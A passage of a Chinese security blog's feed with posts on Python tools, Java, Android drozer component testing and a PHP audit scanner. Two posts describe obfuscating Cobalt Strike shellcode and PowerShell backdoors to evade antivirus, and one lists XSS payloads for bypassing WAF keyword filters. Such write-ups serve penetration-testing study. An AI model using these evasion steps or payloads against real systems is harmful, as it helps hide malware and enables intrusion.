rarfile.RarFile(f<span class="hljs-string">&#x27;&#123;file_path&#125;&#x27;</span>, <span class="hljs-string">&#x27;r&#x27;</span>)<br> <br>    <span class="hljs-comment"># 解压</span><br>    z.extractall(path=f<span class="hljs-string">&quot;&#123;root&#125;&quot;</span>)  <span class="hljs-comment"># path为解压路径，解包后位于该路径下</span><br> <br>    <span class="hljs-comment"># 判断是否需要重复解包</span><br>    <span class="hljs-keyword">for</span> names <span class="hljs-keyword">in</span> z.namelist():<br>        <span class="hljs-keyword">if</span> names.endswith(file_flag):<br>            z.close()<br>            <span class="hljs-built_in">return</span> 1<br> <br>    <span class="hljs-comment"># 结束</span><br>    z.close()<br> <br>    <span class="hljs-built_in">return</span> 0<br> <br> <br>decompress = None<br><span class="hljs-keyword">if</span> file_flag == <span class="hljs-string">&#x27;.zip&#x27;</span>:<br>    decompress = zip_decompress<br><span class="hljs-keyword">elif</span> file_flag == <span class="hljs-string">&#x27;.rar&#x27;</span>:<br>    decompress = rar_decompress<br><span class="hljs-keyword">else</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;格式输入错误或不支持当前格式&#x27;</span>)<br>    os.system(<span class="hljs-string">&#x27;pause&#x27;</span>)<br>    <span class="hljs-built_in">exit</span>(0)<br> <br> <br><span class="hljs-comment"># 因为我在使用过程中发现有些文件解包后会混在一起</span><br><span class="hljs-comment"># 在平时大家手动解压时可能也会遇到提示是否覆盖的问题</span><br><span class="hljs-comment"># 下面的两个函数解决这一问题</span><br> <br><span class="hljs-comment"># 开始要先创建一个大文件夹  与压缩包名字相同</span><br><span class="hljs-comment"># 避免后期混乱和麻烦</span><br>def start_dir_make(root, dirname):<br>    os.chdir(root)<br>    os.mkdir(dirname)<br>    <span class="hljs-built_in">return</span> os.path.join(root, dirname)<br> <br> <br><span class="hljs-comment"># 去除多余文件夹</span><br>def rem_dir_extra(root, father_dir_name):<br>    <span class="hljs-comment"># 递归要注意信息的正常处理  搞不好上一个调用已经改变了东西  而下面的调用还是使用之前的数据</span><br> <br>    try:<br> <br>        <span class="hljs-comment"># 判断文件夹重名  开始</span><br>        <span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> os.listdir(os.path.join(root, father_dir_name)):<br> <br>            <span class="hljs-comment"># 第一步判断是不是一个文件夹，如果不是则跳过本次循环</span><br>            <span class="hljs-keyword">if</span> not os.path.isdir(os.path.join(root, father_dir_name, item)):<br>                <span class="hljs-built_in">continue</span><br> <br>            <span class="hljs-comment"># 判断是否要脱掉一层目录结构</span><br>            <span class="hljs-comment"># 文件夹名字要相同，且子目录中只有单独的一个文件夹</span><br>            <span class="hljs-keyword">if</span> item == father_dir_name and len(<br>                    os.listdir(os.path.join(root, father_dir_name))) == 1:<br> <br>                <span class="hljs-comment"># 改变工作目录</span><br>                os.chdir(root)<br> <br>                <span class="hljs-comment"># 将无用文件夹重命名，因为直接移动会有重名错误</span><br>                os.rename(father_dir_name, father_dir_name + <span class="hljs-string">&#x27;-old&#x27;</span>)<br> <br>                <span class="hljs-comment"># 移动文件后删除空文件夹</span><br>                shutil.move(os.path.join(root, father_dir_name + <span class="hljs-string">&#x27;-old&#x27;</span>, item), os.path.join(root))<br>                os.rmdir(os.path.join(root, father_dir_name + <span class="hljs-string">&#x27;-old&#x27;</span>))<br> <br>                <span class="hljs-comment"># 将去掉一层目录结构后的文件夹继续作为父本递归处理下去</span><br>                <span class="hljs-comment"># 这里要注意，上面已经发生过数据的改动，所以下面递归传参一定要正确！</span><br>                rem_dir_extra(root, item)<br> <br>            <span class="hljs-keyword">else</span>:<br> <br>                <span class="hljs-comment"># 处理那些不满足上面条件的文件夹</span><br>                rem_dir_extra(os.path.join(root, father_dir_name), item)<br> <br>    except Exception as e:<br> <br>        <span class="hljs-comment"># 打印错误信息</span><br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;清除文件夹出错&quot;</span> + str(e))<br> <br> <br><span class="hljs-comment"># 入口</span><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:<br> <br>    flag = 1<br> <br>    <span class="hljs-keyword">while</span> flag:<br> <br>        <span class="hljs-comment">#  循环遍历文件夹</span><br>        <span class="hljs-keyword">for</span> root, <span class="hljs-built_in">dirs</span>, files <span class="hljs-keyword">in</span> os.walk(parent_path):<br> <br>            <span class="hljs-comment"># 读取文件名</span><br>            <span class="hljs-keyword">for</span> name <span class="hljs-keyword">in</span> files:<br> <br>                <span class="hljs-keyword">if</span> name.endswith(file_flag):<br>                    <span class="hljs-comment"># 创建文件夹</span><br>                    new_ws = start_dir_make(root, name.replace(file_flag, <span class="hljs-string">&#x27;&#x27;</span>))<br> <br>                    <span class="hljs-comment"># zip文件地址</span><br>                    zip_path = os.path.join(root, name)<br> <br>                    <span class="hljs-comment"># 解压</span><br>                    flag = decompress(zip_path, new_ws)<br> <br> <br>                    <span class="hljs-comment"># 一定要备份或先测试，不然可能会凉，自己选择修改</span><br>                    del_old_zip(zip_path)<br> <br>                    <span class="hljs-comment"># 去掉多余的文件结构</span><br>                    rem_dir_extra(root, name.replace(file_flag, <span class="hljs-string">&#x27;&#x27;</span>))<br> <br>                    <span class="hljs-built_in">print</span>(f<span class="hljs-string">&#x27;&#123;root&#125;\\&#123;name&#125;&#x27;</span>.join([<span class="hljs-string">&#x27;文件：&#x27;</span>, <span class="hljs-string">&#x27;\n解压完成\n&#x27;</span>]))<br> <br>    <span class="hljs-comment"># 由于解压可能解了好几次 所以可能会有已经解压好的父级目录重名无法处理 这里要再处理一次</span><br>    rem_dir_extra(os.path.split(parent_path)[0], os.path.split(parent_path)[1])<br> <br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;解压完成啦，记得检查有没有&#123;&#125;格式之外的呀!\n\n其他格式需要自己改一下了&quot;</span>.format(file_flag))<br> <br>    os.system(<span class="hljs-string">&#x27;pause&#x27;</span>)<br></code></pre></div></td></tr></table></figure><p>在全量代码审计项目中经常会遇到开发把所有目录压缩的情况，这时候有这个就非常方便了，但是要注意一下解压之后会把压缩文件给删了，所以注意备份，用法</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">python unzip.py<br></code></pre></div></td></tr></table></figure><p><img src="/images/16/1.png"><br>原文件<br><img src="/images/16/2.png"><br>效果<br><img src="/images/16/3.png"></p>]]></content>
    
    
    <categories>
      
      <category>python</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python小工具</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>lambda表达式示例</title>
    <link href="/2020/08/20/28/"/>
    <url>/2020/08/20/28/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">  <span class="hljs-comment">//return A(a,b,c -&gt; &#123;return B(d,c);&#125;);</span><br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Java8Tester</span> </span>&#123;<br>   <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String args[])</span></span>&#123;<br>      Java8Tester tester = <span class="hljs-keyword">new</span> Java8Tester();<br><br>         <span class="hljs-comment">//然后&#123;return B(d,c);&#125;相当于定义之后处理&#123; return a * b; &#125;;</span><br>      MathOperation multiplication = (<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> b) -&gt; &#123; <span class="hljs-keyword">return</span> a * b; &#125;;<br>      System.out.println(<span class="hljs-string">&quot;10 x 5 = &quot;</span> + tester.operate(<span class="hljs-number">10</span>, <span class="hljs-number">5</span>, multiplication));<br>   &#125;<br>    <br>         <br>       <span class="hljs-comment">// 首先return A(a,b,c就相当于先定义了参数类型</span><br>       <span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">MathOperation</span> </span>&#123;<br>         <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">operation</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a, <span class="hljs-keyword">int</span> b)</span></span>;<br>      &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p><img src="/images/28/1.png"></p>]]></content>
    
    
    <categories>
      
      <category>JAVA</category>
      
    </categories>
    
    
    <tags>
      
      <tag>JAVA</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>C++后门免杀</title>
    <link href="/2020/08/18/9/"/>
    <url>/2020/08/18/9/</url>
    
    <content type="html"><![CDATA[<h1 id="详细介绍："><a href="#详细介绍：" class="headerlink" title="详细介绍："></a>详细介绍：</h1><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&mid=2247483687&idx=1&sn=892275228419900e2bbf2e488909e94d&chksm=cfedb8bff89a31a949643a94f6a7248f22159c97a4a7ebfcb9c9f6eeb80ebe70d767a2910f29&mpshare=1&scene=1&srcid=08189egbvwgzQ8P3kRObfYVc&sharer_sharetime=1597718108261&sharer_shareid=591bd17d9ff0cfa0f0099bfe9c6009d5&key=b6de4a213a64b729cb10f5f6715c569e058b18f37449955a78fc5ef15f70251524a81c5980efe843e25f4caf918d497591377346d4cc975106432cb7f7134a3e0deb10de618cb3a7655b18ec2469739ba2727478187f93b1307706d3d9945241322bb8f8329ea3f14c5143ba2eed862497b57ee135e6da9288322479f22dc3ca&ascene=1&uin=MjkyMzYzMDUzMg==&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=A1k2nyaAJNBsGOOfBJ0VGo0=&pass_ticket=sI6ma7r0VNkLp9brita8cyZw3IM7RGX3/cw7aR5wt7N89ecQ3T0WT7Lp6v6EDQoi" title="免杀项目推荐">免杀项目推荐</a></p><h1 id="简单用例"><a href="#简单用例" class="headerlink" title="简单用例"></a>简单用例</h1><p>首先CS生成一个shellcode,然后混淆一下<br>先把\x都删了<br><img src="/images/8/1.png"><br>0替换成*<br><img src="/images/8/2.png"><br>再把剩下的倒序<br><img src="/images/8/3.png"><br>打开项目，在FileItem.cpp里的第17行ch1函数内容替换成shellcode，然后计算shellcode字符数<em>2，比如我的shellcode是1782个字符，</em>2之后就是3564<br><img src="/images/8/4.png"><br>不要调试，直接编译生成<br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995267128.png"><br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597994503512.png"><br>上线<br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995720098.png"><br>查杀<br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995122689.png"><br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995153374.png"><br>微步<br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995804197.png"><br><img src="https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1597995846470.png"></p>]]></content>
    
    
    <categories>
      
      <category>免杀</category>
      
    </categories>
    
    
    <tags>
      
      <tag>cobalt strike后门</tag>
      
      <tag>免杀</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>python生成数字</title>
    <link href="/2020/08/10/25/"/>
    <url>/2020/08/10/25/</url>
    
    <content type="html"><![CDATA[<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">10000000</span>):<br>i=<span class="hljs-built_in">str</span>(i)<br><span class="hljs-built_in">print</span>(i.zfill(<span class="hljs-number">7</span>))<span class="hljs-comment">#如果不要0001这种样式的话就改成1，就会从1开始</span><br></code></pre></div></td></tr></table></figure><p>从0000000到10000000，在做越权和信息泄露测试时遍历id专用<br><img src="/images/25/1.png"><br><img src="/images/25/2.png"></p>]]></content>
    
    
    <categories>
      
      <category>python</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python小工具</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>xss bypass小记</title>
    <link href="/2020/08/10/23/"/>
    <url>/2020/08/10/23/</url>
    
    <content type="html"><![CDATA[<p>有时候waf会针对payload过滤onerror、alert等之类的关键字事件属性，或者把关键字事件替换成其他字符，单独的事件属性不会防护，这时候可以用换行来解决</p><figure class="highlight javascript"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs javascript">&lt;img src=<span class="hljs-number">1</span> <br>onerror <br>=alert(<span class="hljs-number">1</span>)<br></code></pre></div></td></tr></table></figure><p><img src="/images/23/1.png"><br>如果只单独针对alert做防护的话就可以用拼接的方式来绕过：</p><figure class="highlight javascript"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs javascript">&lt;details open ontoggle=top[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br>&lt;details open ontoggle=self[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br>&lt;details open ontoggle=parent[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br>&lt;details open ontoggle=frames[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br>&lt;details open ontoggle=content[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br>&lt;details open ontoggle=<span class="hljs-built_in">window</span>[<span class="hljs-string">&#x27;al&#x27;</span>%2B<span class="hljs-string">&#x27;ert&#x27;</span>](<span class="hljs-number">1</span>) &gt;<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>漏洞挖掘</category>
      
    </categories>
    
    
    <tags>
      
      <tag>XSS绕过</tag>
      
      <tag>OWASPTOP10漏洞</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>IDEA打包JAR包的两种方法</title>
    <link href="/2020/07/10/21/"/>
    <url>/2020/07/10/21/</url>
    
    <content type="html"><![CDATA[<p>首先要了解一下在java中maven项目想要打包war或jar是取决于pom.xml中的标明，比如这是mave普通的java项目<br><img src="/images/21/1.png"><br>这是javaweb的项目<br><img src="/images/21/2.png"><br>今天记录一下idea打包jar包的两种方法</p><h1 id="一、Maven-Lifecycle"><a href="#一、Maven-Lifecycle" class="headerlink" title="一、Maven Lifecycle"></a>一、Maven Lifecycle</h1><p>依次打开右上方的Maven - Lifecycle，按图中顺序执行<br><img src="/images/21/3.png"><br>如果代码有错误，在进行到compile时会有报错，所以我们首先要确定代码无报错，也就是代码没有红线，比如这种：<br><img src="/images/21/4.png"><br>全部错误排除完成后再运行一次，全部成功后就会在target目录生成一个jar包<br><img src="/images/21/5.png"></p><h1 id="二、Project-Structure"><a href="#二、Project-Structure" class="headerlink" title="二、Project Structure"></a>二、Project Structure</h1><p>在上述的方法中普遍会报错，出现类似找不到入口的情况<br><img src="/images/21/6.png"><br>这时候就会用到Project Structure里的打包jar方法，会比较麻烦。<br>首先依次选择file-Project Structure-Artifacts,然后点击+，选From module with depenencies（empty麻烦一点，相当于自定义）<br><img src="/images/21/7.png"><br>然后选择主类（程序入口），一般会默认给你列出来的<br><img src="/images/21/8.png"><br>点击OK之后下面的META-INF就会亮起来，选一个META-INF文件存放的地方，一般都是在main目录下，跟java并排，我们直接在main下新建一个resources目录用来存放META-INF文件，最终就是这样：<br><img src="/images/21/9.png"><br>点击OK之后就是这样子，然后再OK一次<br><img src="/images/21/10.png"><br>然后依次选择Build-Artifacts<br><img src="/images/21/11.png"><br>然后build<br><img src="/images/21/12.png"><br>最后就会在你的项目目录里生成一个out目录，jar包就在里面<br><img src="/images/21/13.png"><br>运行：<br><img src="/images/21/14.png"></p>]]></content>
    
    
    <categories>
      
      <category>JAVA</category>
      
    </categories>
    
    
    <tags>
      
      <tag>JAVA</tag>
      
      <tag>IDEA</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>cs免杀后门</title>
    <link href="/2020/07/10/8/"/>
    <url>/2020/07/10/8/</url>
    
    <content type="html"><![CDATA[<h1 id="用法："><a href="#用法：" class="headerlink" title="用法："></a>用法：</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">Import-Module .\Invoke-Obfuscation.psd1<br>Invoke-Obfuscation<br></code></pre></div></td></tr></table></figure><p><img src="/images/9/1.png"><br><img src="/images/9/2.png"><br>设置cs生成的后门的路径</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">set</span> scriptpath D:\团队\tools\免杀\payload.ps1<br></code></pre></div></td></tr></table></figure><p><img src="/images/9/3.png"><br>选择混淆模式，这里选string<br><img src="/images/9/4.png"><br>选择混淆方式，这里选择1<br><img src="/images/9/5.png"><br>输出1.ps1<br><img src="/images/9/6.png"><br><img src="/images/9/7.png"></p><h1 id="附件："><a href="#附件：" class="headerlink" title="附件："></a>附件：</h1><p><a href="/file/Invoke-Obfuscation1595915214502.zip" title="Invoke-Obfuscation.zip">Invoke-Obfuscation</a></p>]]></content>
    
    
    <categories>
      
      <category>免杀</category>
      
    </categories>
    
    
    <tags>
      
      <tag>cobalt strike后门</tag>
      
      <tag>免杀</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>App测试从0到精通（四大组件之activity组件篇）</title>
    <link href="/2019/12/09/4/"/>
    <url>/2019/12/09/4/</url>
    
    <content type="html"><![CDATA[<h1 id="准备工具-环境"><a href="#准备工具-环境" class="headerlink" title="准备工具/环境"></a>准备工具/环境</h1><p>1.安装drozer<br>2.模拟器<br>什么模拟器都行，这里用到的是逍遥模拟器</p><h1 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h1><p>首先做个端口转发</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">adb forward tcp:31415 tcp:31415<br></code></pre></div></td></tr></table></figure><p>然后连接上模拟器上的控制台</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">drozer console connect<br></code></pre></div></td></tr></table></figure><p><img src="/images/4/1.png"><br>然后选择一个要日的app，一顿操作之后获得它的包名</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">com.winsun.IntelligentMarketingAssistant，怎么获得包名请自行百度，drozer命令是<br>run app.package.list -f （安装后的app名称）<br></code></pre></div></td></tr></table></figure><p>或者到反编译后的AndroidManifest.xml文件找<br>首先查看有哪些组件开放：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">run app.activity.info -a 包名<br></code></pre></div></td></tr></table></figure><p><img src="/images/4/2.png"><br>尝试调用一下io.dcloud.PandoraEntry</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">run app.activity.start --component  apk包名 组件名<br></code></pre></div></td></tr></table></figure><p><img src="/images/4/3.png"><br>出现这个提示是因为做了策略了，组件劫持漏洞不可利用，试试其他的<br><img src="/images/4/4.png"><br><img src="/images/4/5.png"><br>组件可以被越权调用且没有提示<br>也就是说除了可以在未登录状态下进行登录之后的操作（绕过登录）之外，还可以尝试利用可以越权的组件做钓鱼劫持：<br><img src="/images/4/6.png"><br>监听刚刚可以调用且没有提示的组件后打开app：<br><img src="/images/4/7.png"><br>全文结束，文末附我的心得<br><a href="/file/anzhuo.txt" title="安卓测试笔记.txt">安卓测试笔记</a></p>]]></content>
    
    
    <categories>
      
      <category>安卓测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>app测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>python学习笔记day 2 -第一个扫描器</title>
    <link href="/2018/11/11/19/"/>
    <url>/2018/11/11/19/</url>
    
    <content type="html"><![CDATA[<h1 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h1><p>一、扫描器的构思<br>二、实施<br>三、调试</p><h2 id="一、扫描器的构思"><a href="#一、扫描器的构思" class="headerlink" title="一、扫描器的构思"></a>一、扫描器的构思</h2><p>打开文件-读取文件内容-匹配正则，判断是否存在关键字，存在则输出内容</p><h2 id="二、实施"><a href="#二、实施" class="headerlink" title="二、实施"></a>二、实施</h2><p>准备好漏洞文件：<br><img src="/images/19/1.png"><br>为了让各个功能层次分明，以后好更新，决定每个漏洞都独立一个模块，新建一个index.py定义一个函数</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">list_all_file</span>(<span class="hljs-params">path</span>):</span><br>  result = []<br>  a = os.listdir(path) <span class="hljs-comment">#列出当前目录</span><br>  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br>     <span class="hljs-keyword">if</span> os.path.isdir(i): <span class="hljs-comment">#循环，列出目录，如果还是目录那就继续列出</span><br>      e = os.path.join(path,i) <span class="hljs-comment">#路径拼接</span><br>      result.extend(list_all_file(e))<br>     <span class="hljs-keyword">else</span>:<br>       e = os.path.join(path,i)<br>       result.append(e)<br>   <span class="hljs-keyword">return</span> result<br></code></pre></div></td></tr></table></figure><p>然后正式开始，列出路径，过滤只留下php文件</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">a = list_all_file(path=<span class="hljs-string">r&#x27;.&#x27;</span>)<br>b = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a <span class="hljs-keyword">if</span> i. endswith(<span class="hljs-string">&#x27;.php&#x27;</span>)]<br><span class="hljs-built_in">print</span>(b)<br></code></pre></div></td></tr></table></figure><p>效果图：<br><img src="/images/19/2.png"><br>然后开始分类漏洞，新建info.py、sqlinject.py，用import导入：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> sqlinject<br><span class="hljs-keyword">import</span> info<br></code></pre></div></td></tr></table></figure><p>为了让回显带路径+文件，继续定义函数，sqlinject文件：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">list_all_file</span>(<span class="hljs-params">path</span>):</span><br>  result = []<br>  a = os.listdir(path) <span class="hljs-comment">#列出当前目录</span><br>  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br>     <span class="hljs-keyword">if</span> os.path.isdir(i): <span class="hljs-comment">#循环，列出目录，如果还是目录那就继续列出</span><br>      e = os.path.join(path,i) <span class="hljs-comment">#路径拼接</span><br>      result.extend(list_all_file(e))<br>     <span class="hljs-keyword">else</span>:<br>       e = os.path.join(path,i)<br>       result.append(e)<br>   <span class="hljs-keyword">return</span> result<br></code></pre></div></td></tr></table></figure><p>然后开始内容，打开读取匹配正则：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">a = list_all_file(path=<span class="hljs-string">r&#x27;.&#x27;</span>) <span class="hljs-comment">#把值存在a</span><br>b = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a <span class="hljs-keyword">if</span> i. endswith(<span class="hljs-string">&#x27;.php&#x27;</span>)] <span class="hljs-comment">#遍历a，找出所有php文件</span><br><span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> b: <span class="hljs-comment">#循环，打开所有php文件</span><br>  f = <span class="hljs-built_in">open</span>(c)<br>  o = f.read()<br>  auditsql = re.search(<span class="hljs-string">r&quot;\$GET_\[&#x27;id&#x27;\]&quot;</span>,o, re.I) <span class="hljs-comment">#正则开始</span><br>  auditsql2 = re.search(<span class="hljs-string">r&quot;\$POST_\[&#x27;id&#x27;\]&quot;</span>, o, re.I)<br>  auditsql3 = re.search(<span class="hljs-string">r&quot;echo\s.+\$+\S.+\&quot;&quot;</span>,o,re.I)<br>  auditsql4 = re.search(<span class="hljs-string">r&quot;\$+id&quot;</span>, o, re.I)<br>  <span class="hljs-keyword">if</span> auditsql:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;疑似存在SQL注入漏洞！请查看文件：&#x27;</span>+c,<span class="hljs-string">&#x27;第行：&#x27;</span>+auditsql.group(<span class="hljs-number">0</span>)) <span class="hljs-comment"># group(0)列出匹配到的正则，0或者()是默认列出所有</span><br>  <span class="hljs-keyword">if</span> auditsql2:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;疑似存在POST注入漏洞！请查看文件：&#x27;</span>+c,<span class="hljs-string">&#x27;第行：&#x27;</span>+auditsql2.group(<span class="hljs-number">0</span>))<br>  <span class="hljs-keyword">if</span> auditsql3:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;疑似存在SQL注入漏洞！请查看文件：&#x27;</span>+c,<span class="hljs-string">&#x27;第行：&#x27;</span>+auditsql3.group(<span class="hljs-number">0</span>))<br>  <span class="hljs-keyword">if</span> auditsql4:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;疑似存在SQL注入漏洞！请查看文件：&#x27;</span> + c, <span class="hljs-string">&#x27;第行：&#x27;</span> + auditsql4.group(<span class="hljs-number">0</span>))<br>  f.close()<br></code></pre></div></td></tr></table></figure><p>效果图：<br><img src="/images/19/3.png"><br>info文件：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span 